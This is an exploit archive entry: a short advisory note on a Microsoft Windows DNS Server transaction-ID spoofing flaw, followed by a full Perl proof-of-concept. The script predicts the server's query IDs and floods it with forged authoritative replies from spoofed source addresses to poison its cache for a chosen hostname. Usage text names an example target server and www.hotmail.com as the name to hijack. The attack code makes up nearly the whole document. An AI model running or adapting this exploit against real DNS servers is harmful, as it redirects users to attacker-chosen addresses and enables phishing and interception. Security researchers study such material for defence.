source: https://www.securityfocus.com/bid/25919/info
Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.
A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing.
#!/usr/bin/perl
use strict;
use Net::DNS;
use Net::DNS::Nameserver;
use IO::Socket;
use Net::RawIP;
sub usage {
print ("$0 is a program for DNS id spoofing.\n");
print ("usage: $0 target tospoof ourzone port\n");
print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n");
}
my($target, $tospoof, $ourzone, $query_port) = @ARGV;
$tospoof = "www.hotmail.com" unless($tospoof);
$ourzone = ".cache-poisoning.net" unless($ourzone);
$query_port = 53 unless($query_port);
if(!$target) {
usage();
die("You must specify target nameserver\n");
}
my($host, $domain) = split(/\./, $tospoof, 2);
my $client = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 53,
Proto => "udp")
or die "Couldn't be a udp client on port 53 : $@\n";
my @nameservers = get_nameservers($domain);
#print join("\n", @nameservers);
#exit;
cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof
my @ids = get_sequence($client, $ourzone);
my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof);
send_request($client, $tospoof);
send_replies(@replies);
sub prepare_replies($$$$) {
my($nameservers, $initial_ids, $target, $tospoof) = @_;
my $totry = 500; # We will try 500 ids subsequent to the one we've got
my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in
my @replies;
for my $i (1..$totry) {
for my $id (@$initial_ids) {
my $dns_packet = Net::DNS::Packet->new($tospoof);
$dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip));
$dns_packet->header->qr(1);
$dns_packet->header->aa(1); # Authoritative
$dns_packet->header->rd(1); # Recursion desired
$dns_packet->header->ra(1); # Recursion available
$dns_packet->header->id($id+$i);
for my $nameserver(@$nameservers) {
my $packet = new Net::RawIP({udp=>{}});
$packet->set({ip=>{saddr=>$nameserver, daddr=>$target},
udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()}
});
push @replies, $packet;
}
}
}
return @replies;
}
sub send_replies(@) {
my @packets = @_;
foreach my $packet(@packets) {
$packet->send(0,2);
}
}
sub send_request($$) {
my($client, $tospoof) = @_;
my $packet = Net::DNS::Packet->new($tospoof, "A");
$client->send($packet->data()) or die "send: $!";
}
sub cache_ns($$) {
my($client, $tospoof) = @_;
my($host, $domain) = split(/\./, $tospoof, 2);
my $packet = Net::DNS::Packet->new($domain, "NS");
$client->send($packet->data()) or die "send: $!";
}
sub get_sequence($$) {
my ($client, $ourzone) = @_;
my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0",
LocalPort => "53",
ReplyHandler => \&reply_handler,
Verbose => 0
) || die;
my @ids;
for(my $i=0; $i<50; $i++) {
my $packet = Net::DNS::Packet->new("id$i$$".$ourzone);
$client->send($packet->data()) or warn "Failed sending packet: $!";
#print STDERR "Request sent\n";
## Wait for request from target nameserver
sub reply_handler {
my ($qname, $qclass, $qtype, $peerhost, $query) = @_;
my ($rcode, @ans, @auth, @add);
die sprintf "ID %d\n", $query->header->id;
};
eval {
$SIG{ALRM} = sub { die "timeout\n"; };
alarm(2);
$server->main_loop();
};
alarm(0);
if ($@ =~ /^timeout/) {
next;
};
unless ($@ =~ /^ID (\d+)/) { die $@; };
my $id = $1;
push @ids, $id;
}
my @seq = analyse_ids(@ids);
return @seq;
}
sub analyse_ids {
my @ids = @_;
my @seq; # Keeps the last seen number in each sequence
my $counter = 0;
my $num_seq = 8; # total number of sequences we track
my $max_diff = 500; # maximum difference between two subsequent ids in one sequence
id: for my $id (@ids) {
for my $i (0..$num_seq) {
if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) {
# We have already seen numbers from this sequence
$seq[$i] = $id;
$counter++;
next id;
}
if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) {
# Sequence has wrapped
$seq[$i] = $id;
$counter++;
next id;
}
if(!defined($seq[$i])) {
# We have not seen this sequence, and there are still free sequence slots
$seq[$i] = $id;
$counter++;
next id;
}
}
$counter++;
}
return @seq;
}
sub get_nameservers($) {
my $domain = shift;
my $res = Net::DNS::Resolver->new;
my $query = $res->query($domain, "NS");
my @nameservers;
if ($query) {
foreach my $rr (grep { $_->type eq 'NS' } $query->answer) {
my $server = $rr->nsdname;
push @nameservers, host_to_ip($server);
# Windows always uses first nameserver if available
return @nameservers;
}
}
return(@nameservers);
}
sub host_to_ip($) {
my $hostname = shift;
my $ip = join(".", unpack("C4", ((gethostbyname($hostname))[4]) || return $_[0]));
my $num = unpack("N", pack("C4", split(/\./, $ip)));
return $num;
}